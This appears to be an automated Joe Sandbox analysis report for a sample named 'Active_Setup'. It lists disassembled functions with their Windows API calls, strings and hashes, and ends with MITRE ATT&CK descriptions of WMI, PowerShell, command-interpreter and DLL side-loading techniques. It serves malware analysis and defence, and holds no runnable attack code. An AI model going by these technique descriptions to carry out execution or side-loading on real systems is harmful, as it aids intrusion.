VariantInit.OLEAUT32(?), ref: 009FA552

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: InitVariant
String ID:
API String ID: 1927566239-0
Opcode ID: b8feeeb043baee406c2e409326ae7c4a17cb9ae265ab37f65f6c624db6be91cd
Instruction ID: 6f2b5a354c7db5999ac7d5fc82c61d9ba5d940a4ab1be77ccc218e2f9b1619c4
Opcode Fuzzy Hash: b8feeeb043baee406c2e409326ae7c4a17cb9ae265ab37f65f6c624db6be91cd
Instruction Fuzzy Hash: 3EB137B5A0020DEFCB00EF94C4929FDB7F9EF89710F6444A1EA04A7251D734AE96DB61

Function 00AA669C Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-00000008,00000000,00AA68A6,?,?,?), ref: 00AA66E1
CreateFontIndirectW.GDI32(?), ref: 00AA6845
LeaveCriticalSection.KERNEL32(?,00AA687B,-00000008,00000000,00AA68A6,?,?,?), ref: 00AA686C

Strings

Default, xrefs: 00AA678F

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: CriticalSection$CreateEnterFontIndirectLeave
String ID: Default
API String ID: 4254235019-753088835
Opcode ID: 243ed5bdbd8f5e49d9db017e549f2b15f4f6380a826e1434541ed0f37ee787a8
Instruction ID: 0506f49745836b5ad13933af995fcd12d26199e4f3013b665ff4c77d68655ba2
Opcode Fuzzy Hash: 243ed5bdbd8f5e49d9db017e549f2b15f4f6380a826e1434541ed0f37ee787a8
Instruction Fuzzy Hash: A2617A70E042889FDB01DFE8C441B9DBBF5AF4A304F1984AAE844AB392D3389A45CF51

Function 00BD6124 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 55registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B7A104: GetFullPathNameW.KERNEL32(00000000,00001000,?,?,00000002,?,00C7EC44,00000000,00BBFABD,00000000,00BBFB54,?,?,00000000,00000000,00000000), ref: 00B7A134

LoadTypeLib.OLEAUT32(00000000,00000000), ref: 00BD6167
RegisterTypeLib.OLEAUT32(?,00000000,00000000), ref: 00BD6183

Strings

LoadTypeLib, xrefs: 00BD6172
RegisterTypeLib, xrefs: 00BD618E

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: Type$FullLoadNamePathRegister
String ID: LoadTypeLib$RegisterTypeLib
API String ID: 4170313675-2435364021
Opcode ID: 0f88e3e8e341557dc251dc5a237b03a4897a6536cb75ffefdb62a2af5b3c37c6
Instruction ID: bc5cd7c8b2675d712a073c0b3e6da54e9e0f9cc5272ff539b918f1210a44fdd5
Opcode Fuzzy Hash: 0f88e3e8e341557dc251dc5a237b03a4897a6536cb75ffefdb62a2af5b3c37c6
Instruction Fuzzy Hash: B1012171A00208ABE710F665DC53F9EB3ECDB45700F5144B6B504F7252EB70EE058611

Function 00BD8A20 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B7CC2C: RegOpenKeyExW.ADVAPI32(80000003,.DEFAULT\Control Panel\International,00000000,00B7D38B,?,?,?,00B7D329,00000001,00000001,00000000,00000000,kernel32.dll,GetUserDefaultUILanguage,00000000,00B7D38B), ref: 00B7CC48

RegCloseKey.ADVAPI32(00000000,?,00000001,00000000,?,00BD8878,?,00000000,00BD8BDD,00000000,00BD8D7E,?,00000000,00BD8DBE,?,00000000), ref: 00BD8A6D

Strings

InstallRoot, xrefs: 00BD8A5C
.NET Framework not found, xrefs: 00BD8A7C
SOFTWARE\Microsoft\.NETFramework, xrefs: 00BD8A42

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: CloseOpen
String ID: .NET Framework not found$InstallRoot$SOFTWARE\Microsoft\.NETFramework
API String ID: 47109696-2631785700
Opcode ID: 18de9b3964ce9fa51c7ceedc5057f54557abd41258a6af640d3093dfacc571af
Instruction ID: 10dabcc5c70b678d7815865f2dfa407bf5c0cf14640d81f663196f5e1298c280
Opcode Fuzzy Hash: 18de9b3964ce9fa51c7ceedc5057f54557abd41258a6af640d3093dfacc571af
Instruction Fuzzy Hash: 8CF0A922308110AFD714EF58A896B5AA6D8DBC6792F5444BFB189C7350FA70CC4686A2

Function 00B84114 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(?,00C35A14,?), ref: 00B8412D
MulDiv.KERNEL32(?,00B84261,00C35A14), ref: 00B84140
MulDiv.KERNEL32(?,00C35A14,?), ref: 00B84157
MulDiv.KERNEL32(?,00B84261,00C35A14), ref: 00B84175

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92b42ac16163b6430d881344f367aa7b9e0e6484564b478a48d1ddfc9c547665
Instruction ID: 43b709aa2937d9dd2a2f0663553c48b36e0129cb5c5ce6fdbb8a1b52010bc6bb
Opcode Fuzzy Hash: 92b42ac16163b6430d881344f367aa7b9e0e6484564b478a48d1ddfc9c547665
Instruction Fuzzy Hash: C611E872A04248AFCB54EEDCD8C4E9A7BEDEF59260F548096BA08DB356D670ED40C760

Function 00B6CAB4 Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00B6CAC7
GetWindowLongW.USER32(?,000000EC), ref: 00B6CB09
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00B6CB23
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,E0FF5818,?,02B42910,?,00B6CBDD), ref: 00B6CB4B

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: Window$Long$Visible
String ID:
API String ID: 2967648141-0
Opcode ID: 63e51399e19142767f4a535ca87c58b4377892f23c884be468a05944b3dda831
Instruction ID: ed24f46bead10ca28764f4bba49f20d75bf9d9951cd31441436d4a3787f9c816
Opcode Fuzzy Hash: 63e51399e19142767f4a535ca87c58b4377892f23c884be468a05944b3dda831
Instruction Fuzzy Hash: 8A1165702445446FDB01DB18C989FB97FD8BB49350F0C8596F588CB3A2C235ED80C761

Function 00C54660 Relevance: 6.0, APIs: 4, Instructions: 34sleepCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00C54680
GetLastError.KERNEL32 ref: 00C5468A
GetTickCount.KERNEL32 ref: 00C54694
Sleep.KERNEL32(00000032), ref: 00C546A4

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: ErrorLast$CountSleepTick
String ID:
API String ID: 2227064392-0
Opcode ID: 661200ef833f46b3d0fb672d83557abcbe73a84dca0e040f3068a33ffec47d32
Instruction ID: 2e77c63880e41b85b0aebc3da710181576d2aa1dc8595f208269e1483676e25c
Opcode Fuzzy Hash: 661200ef833f46b3d0fb672d83557abcbe73a84dca0e040f3068a33ffec47d32
Instruction Fuzzy Hash: 86E0E526289A40CD8629367E19C973E4588CAC2B5AF254637F590C2143C8408DC98266

Function 00C5E5FC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00C5E6D4,?,00C5E6C4,00000000,00C5E6A6), ref: 00C5E669
CloseHandle.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00C5E6D4,?,00C5E6C4,00000000), ref: 00C5E686

Part of subcall function 00C5E550: GetLastError.KERNEL32(00000000,00C5E5EF,?,?,?), ref: 00C5E573

Strings

D, xrefs: 00C5E643

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: CloseCreateErrorHandleLastProcess
String ID: D
API String ID: 3798668922-2746444292
Opcode ID: 0df5f264cff3521262c5412a749c1e90cb57d523572e68db5ba9b8cc0fe7fffb
Instruction ID: d54dafe58ccf2d493befe69f6cc9a6a685557bec0eb2499cef6eb59f86f3e0c2
Opcode Fuzzy Hash: 0df5f264cff3521262c5412a749c1e90cb57d523572e68db5ba9b8cc0fe7fffb
Instruction Fuzzy Hash: B9117CB0A4420CAFEB04DBE4D852FAE77ACEF48354F510075F905D7291EA709E448669

Function 00C6096C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 00C549C8: FreeLibrary.KERNEL32(?,00C60998,00000000,00C609A7,?,?,?,?,?,00C61487), ref: 00C549DE

Part of subcall function 00C546B4: GetTickCount.KERNEL32 ref: 00C546FC

Part of subcall function 00BC7024: SendMessageW.USER32(?,00000B01,00000000,00000000), ref: 00BC7043

GetCurrentProcess.KERNEL32(00000001,?,?,?,?,00C61487), ref: 00C609C1
TerminateProcess.KERNEL32(00000000,00000001,?,?,?,?,00C61487), ref: 00C609C7

Strings

Detected restart. Removing temporary directory., xrefs: 00C6097B

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: Process$CountCurrentFreeLibraryMessageSendTerminateTick
String ID: Detected restart. Removing temporary directory.
API String ID: 1717587489-3199836293
Opcode ID: f35b474b92fcbc46a95cd4b8a1e24a2d36253c5c96d07e97eb70f97abcc9e90a
Instruction ID: a5fe662474261eb433c595fe7591ab82c8d313d3cf53ae96f6a08dc81eaa6484
Opcode Fuzzy Hash: f35b474b92fcbc46a95cd4b8a1e24a2d36253c5c96d07e97eb70f97abcc9e90a
Instruction Fuzzy Hash: 67E02B7220C6046EE72677B9AC83F2F7BCCD786365B2108B6F50481503CC254880D635

Function 00B7C72C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,GetSystemWow64DirectoryW,?,00BBF840,00000000,00BBF914,?,?,00C7EC44,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00B7C746

Part of subcall function 009D5434: GetProcAddress.KERNEL32(?,?), ref: 009D5458

Strings

GetSystemWow64DirectoryW, xrefs: 00B7C73C
kernel32.dll, xrefs: 00B7C741

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 1646373207-1816364905
Opcode ID: fea2abb884930bb73240924e4c67efb10d4a3188d2924494558edf458609a931
Instruction ID: b5319772992000fdb378380392a5cc647f1a48b922b370479cd4788ff1a56cd4
Opcode Fuzzy Hash: fea2abb884930bb73240924e4c67efb10d4a3188d2924494558edf458609a931
Instruction Fuzzy Hash: 6DE04FA0B40B4512EB1461B84CC3F5B25C98BC4721F21C57D796AD52E7EFA8CC454AA3

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
